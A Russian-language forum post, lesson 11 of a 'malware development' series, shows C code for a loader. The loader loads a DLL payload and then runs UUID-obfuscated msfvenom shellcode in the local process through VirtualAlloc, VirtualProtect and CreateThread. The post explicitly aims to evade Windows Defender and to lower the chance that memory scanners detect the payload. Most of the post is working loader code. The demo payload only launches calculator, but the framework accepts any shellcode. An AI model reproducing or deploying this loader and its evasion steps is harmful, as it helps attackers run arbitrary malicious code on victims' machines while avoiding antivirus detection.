Уроки Разработка малвари-11. Локальный запуск Payload


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Предлагаю в этой статье исследовать использование динамических библиотек (DLL) в качестве полезной нагрузки и попробовать загрузить вредоносный файл DLL в текущем процессе.

Создание DLL

Создание DLL просто и может быть выполнено с помощью Visual Studio.
Создайте новый проект, выберите язык программирования C++, а затем выберите Динамически-связанную библиотеку (DLL).
Это создаст код-скелет DLL, который будет изменяться в этой статье.

Если вы хотите освежить свои знания о том, как работают DLL, то можете обратится к этой статье:Уроки - Разработка малвари - 5. Изучаем динамические библиотеки

1694682086231.png


В этой статье будет использовано диалоговое окно, которое появляется, когда DLL успешно загружена.

Создание диалогового окна можно легко сделать с помощью MessageBox из WinAPI.

Приведенный ниже фрагмент кода будет запускать MsgBoxPayload каждый раз, когда DLL загружается в процесс.

Обратите внимание, что предварительно скомпилированные заголовки были удалены из настроек C/C++ проекта, как показано здесь Уроки - Разработка малвари - 5. Изучаем динамические библиотеки

C:
#include <Windows.h>
#include <stdio.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Hacking With ru-sfera.pw", "Wow !", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){

    switch (dwReason){
        case DLL_PROCESS_ATTACH: {
            MsgBoxPayload();
            break;
        };
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }

    return TRUE;
}

Напомним, что WinAPI LoadLibrary используется для загрузки DLL. Функция принимает путь к DLL на диске и загружает его в адресное пространство вызывающего процесса, который в нашем случае будет текущим процессом. Загрузка DLL запустит ее точку входа, а значит, выполнится функция MsgBoxPayload, и появится диалоговое окно. Хотя концепция проста, это станет полезным в последующих статьях для понимания более сложных техник.

Ниже приведенный код примет имя DLL в качестве аргумента командной строки, загрузит его с помощью LoadLibraryA и выполнит проверку ошибок, чтобы убедиться, что DLL загрузилась успешно.

C:
#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

    if (argc < 2){
        printf("[!] Отсутствует аргумент; Нужно указать DLL для выполнения \n");
        return -1;
    }

    printf("[i] Внедрение \"%s\" в локальный процесс с PID: %d \n", argv[1], GetCurrentProcessId());

    printf("[+] Загрузка DLL... ");
    if (LoadLibraryA(argv[1]) == NULL) {
        printf("[!] LoadLibraryA завершилась с ошибкой: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО ! \n");

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;
}

Вывод

Как и ожидалось, после внедрения DLL успешно появляется диалоговое окно.

Анализ процесса

Для дополнительной проверки того, что DLL загружена в процесс, запустите Process Hacker, дважды щелкните по процессу, который загрузил DLL, и перейдите на вкладку "Модули". Имя DLL должно появиться в списке модулей. Нажав на имя DLL, можно получить дополнительную информацию о ней, такую как импорт, подпись и названия разделов.

1694682464265.png


Теперь предлагаю рассмотреть однин из самых простых способов выполнения shellcode путем создания нового потока.
Несмотря на простоту этой техники, важно понимать, как она работает, так как это лежит в основе более сложных методов выполнения shellcode.

Метод, обсуждаемый в этой статье, использует Windows API: VirtualAlloc, VirtualProtect и CreateThread. Важно отметить, что этот метод никоим образом не является скрытной техникой, и EDR (Endpoint Detection and Response) почти наверняка обнаружит эту простую технику выполнения shellcode.

С другой стороны, антивирусы потенциально могут быть обойдены с использованием этого метода при достаточной обфускации.

Необходимые Windows API


Хорошей отправной точкой будет изучение документации по Windows API, которые будут использоваться:

  • VirtualAlloc - выделяет память, которая будет использоваться для хранения полезной нагрузки.
  • VirtualProtect - меняет защиту памяти выделенной области на исполняемую, чтобы выполнить полезную нагрузку.
  • CreateThread - создает новый поток, который выполняет полезные нагрузки.
Обфускация полезной нагрузки

Полезная нагрузка, используемая в этой статье, будет сгенерированной с помощью Msfvenom x64 calc payload.

Чтобы демонстрация была реалистичной, будет предпринята попытка обхода Defender, и поэтому обфускация или шифрование полезной нагрузки будут необходимы.

Для обфускации полезной нагрузки будет использоваться программа .

Запустите следующую команду:

Код:
HellShell.exe msfvenom.bin uuid

Вывод следует сохранить в переменную UuidArray.

Выделение памяти

VirtualAlloc используется для выделения памяти размером sDeobfuscatedSize. Размер sDeobfuscatedSize определяется функцией UuidDeobfuscation, которая возвращает общий размер деобфусцированной полезной нагрузки.

Функция Windows API VirtualAlloc выглядит следующим образом согласно ее документации:

C:
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Тип выделения памяти указан как MEM_RESERVE | MEM_COMMIT, что будет резервировать диапазон страниц в виртуальном адресном пространстве вызывающего процесса и выделять физическую память для этих зарезервированных страниц. Комбинированные флаги обсуждаются отдельно:
  • MEM_RESERVE используется для резервирования диапазона страниц без выделения физической памяти.
  • MEM_COMMIT используется для выделения диапазона страниц в виртуальном адресном пространстве процесса.
Последний параметр VirtualAlloc устанавливает разрешения на регионе памяти. Самым простым способом будет установить защиту памяти на PAGE_EXECUTE_READWRITE, но это обычно является признаком злонамеренной активности для многих средств обеспечения безопасности. Поэтому защита памяти устанавливается на PAGE_READWRITE, так как на этом этапе требуется только запись полезной нагрузки, но не ее выполнение. Наконец, VirtualAlloc вернет базовый адрес выделенной памяти.

Запись полезной нагрузки в память

Затем байты деобфусцированной полезной нагрузки копируются в новый выделенный регион памяти по адресу pShellcodeAddress, а затем pDeobfuscatedPayload очищается, перезаписывая его нулями. pDeobfuscatedPayload - это базовый адрес, выделенный кучей функцией UuidDeobfuscation, которая возвращает байты сырой полезной нагрузки shellcode. Он был перезаписан нулями, так как больше не требуется, и, таким образом, это снизит вероятность обнаружения полезной нагрузки в памяти системами безопасности.

Изменение защиты памяти

Перед выполнением полезной нагрузки необходимо изменить защиту памяти, так как в данный момент разрешена только операция чтения/записи. VirtualProtect используется для изменения защиты памяти, и для выполнения полезной нагрузки ей понадобится либо PAGE_EXECUTE_READ, либо PAGE_EXECUTE_READWRITE.

Функция VirtualProtect WinAPI выглядит следующим образом на основе ее документации:
C:
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // Базовый адрес региона памяти, доступ к которому должен быть изменен
  [in]  SIZE_T dwSize,          // Размер региона, атрибуты доступа к которому должны быть изменены, в байтах
  [in]  DWORD  flNewProtect,    // Новый параметр защиты памяти
  [out] PDWORD lpflOldProtect   // Указатель на переменную 'DWORD', которая получает предыдущее значение доступа к защите 'lpAddress'
);

Хотя некоторые shellcode требуют PAGE_EXECUTE_READWRITE, такие как саморасшифровывающийся shellcode, для Msfvenom x64 calc shellcode это не требуется, но приведенный ниже фрагмент кода использует эту защиту памяти.

Выполнение полезной нагрузки через CreateThread

Наконец, полезная нагрузка выполняется путем создания нового потока с помощью функции CreateThread Windows API и передачи pShellcodeAddress, который является адресом shellcode.

Функция CreateThread WinAPI выглядит следующим образом на основе ее документации:

C:
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // Установлено в NULL - необязательно
  [in]            SIZE_T                  dwStackSize,           // Установлено в 0 - по умолчанию
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // Указатель на функцию, которая будет выполнена потоком, в нашем случае это базовый адрес полезной нагрузки
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // Указатель на переменную, которая будет передана функции, выполняемой (установлено в NULL - необязательно)
  [in]            DWORD                   dwCreationFlags,       // Установлено в 0 - по умолчанию
  [out, optional] LPDWORD                 lpThreadId             // указатель на переменную 'DWORD', которая получает ID потока (установлено в NULL - необязательно)
);

Выполнение полезной нагрузки через указатель на функцию

В качестве альтернативы существует более простой способ выполнения shellcode без использования Windows API CreateThread. В приведенном ниже примере shellcode приводится к указателю функции VOID и shellcode выполняется как указатель на функцию. Код по сути переходит к адресу pShellcodeAddress.

C:
(*(VOID(*)()) pShellcodeAddress)();

Это эквивалентно выполнению кода ниже:

C:
typedef VOID (WINAPI* fnShellcodefunc)();       // Определено перед основной функцией
    fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
    pShell();

CreateThread против выполнения через указатель на функцию

Хотя можно выполнить shellcode, используя метод указателя на функцию, это, как правило, не рекомендуется. Сгенерированный shellcode Msfvenom завершает вызывающий поток после завершения его выполнения. Если shellcode был выполнен с использованием метода указателя на функцию, то вызывающий поток будет основным потоком, и поэтому весь процесс завершится после завершения выполнения shellcode.

Выполнение shellcode в новом потоке предотвращает эту проблему, потому что если выполнение shellcode завершено, новый рабочий поток будет завершен, а не основной поток, предотвращая завершение всего процесса.

Ожидание выполнения потока

Выполнение shellcode с использованием нового потока без короткой задержки увеличивает вероятность завершения выполнения основного потока до завершения выполнения рабочего потока, который выполняет shellcode, что приводит к неправильной работе shellcode. Этот сценарий иллюстрируется в приведенном ниже фрагменте кода.

C:
int main(){

    // ...

    CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Выполнение shellcode
    return 0; // Основной поток завершен до выполнения потока, который выполняет shellcode
}

В предоставленной реализации используется getchar(), чтобы приостановить выполнение до тех пор, пока пользователь не предоставит ввод. В реальных реализациях следует использовать другой подход, который использует Windows API WaitForSingleObject для ожидания указанного времени до выполнения потока.

Приведенный ниже фрагмент кода использует WaitForSingleObject для ожидания завершения выполнения только что созданного потока в течение 2000 миллисекунд перед выполнением оставшегося кода.

C:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);

// Оставшийся код

В приведенном ниже примере WaitForSingleObject будет ждать вечно завершения выполнения нового потока.
C:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);

Основная функция

Основная функция использует UuidDeobfuscation для деобфускации полезной нагрузки, затем выделяет память, копирует shellcode в регион памяти и выполняет его.

C:
int main() {

    PBYTE       pDeobfuscatedPayload  = NULL;
    SIZE_T      sDeobfuscatedSize     = NULL;

    printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
    printf("[#] Press <Enter> To Decrypt ... ");
    getchar();

    printf("[i] Decrypting ...");
    if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
        return -1;
    }
    printf("[+] DONE !\n");
    printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);

    printf("[#] Press <Enter> To Allocate ... ");
    getchar();
    PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return -1;
    }
    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();
    memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
    memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);

    DWORD dwOldProtection = NULL;

    if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return -1;
    }

    printf("[#] Press <Enter> To Run ... ");
    getchar();
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return -1;
    }

    HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

Освобождение памяти

VirtualFree - это WinAPI, который используется для освобождения ранее выделенной памяти. Эта функция должна быть вызвана только после того, как выполнение полезной нагрузки полностью завершено, иначе это может освободить содержимое полезной нагрузки и вызвать сбой процесса.

C:
BOOL VirtualFree(
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

Отладка

В этом разделе реализация отлаживается с использованием отладчика xdbg для более глубокого понимания того, что происходит "под капотом".

Сначала проверьте вывод функции UuidDeobfuscation, чтобы убедиться, что возвращается действительный shellcode.

Изображение ниже показывает, что shellcode успешно деобфусцирован.

1694683824899.png


Следующим шагом является проверка того, что память выделяется с использованием Windows API VirtualAlloc. Опять же, глядя на карту памяти в нижнем левом углу, можно видеть, что память была выделена и заполнена нулями.

1694684015127.png



После успешного выделения памяти деобфусцированная полезная нагрузка записывается в буфер памяти.

1694684071246.png


Вспомните, что pDeobfuscatedPayload был обнулен, чтобы избежать наличия деобфусцированной полезной нагрузки в памяти там, где она не используется. Буфер должен быть полностью обнулен.

1694684119423.png


И, наконец, shellcode выполняется, и, как ожидалось, появляется приложение калькулятора.

1694684148443.png



Shellcode можно увидеть на вкладке памяти в Process Hacker.
Обратите внимание на то, что выделенный регион памяти имеет защиту памяти RWX, он выделяется в рантайме и, следовательно, обычно является индикатором вредоносного ПО.

1694684353188.png
 
Последнее редактирование:

Yao

Пользователь
Форумчанин
Регистрация
15.02.2024
Сообщения
1
Очень хорошая работа
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 16
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-12. Иньекция в процесс
Уроки Разработка малвари-10. Обфускация Payload
Уроки Разработка малвари-9. Шифруем Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Уроки Разработка малвари - 2. Изучаем инструменты
Верх Низ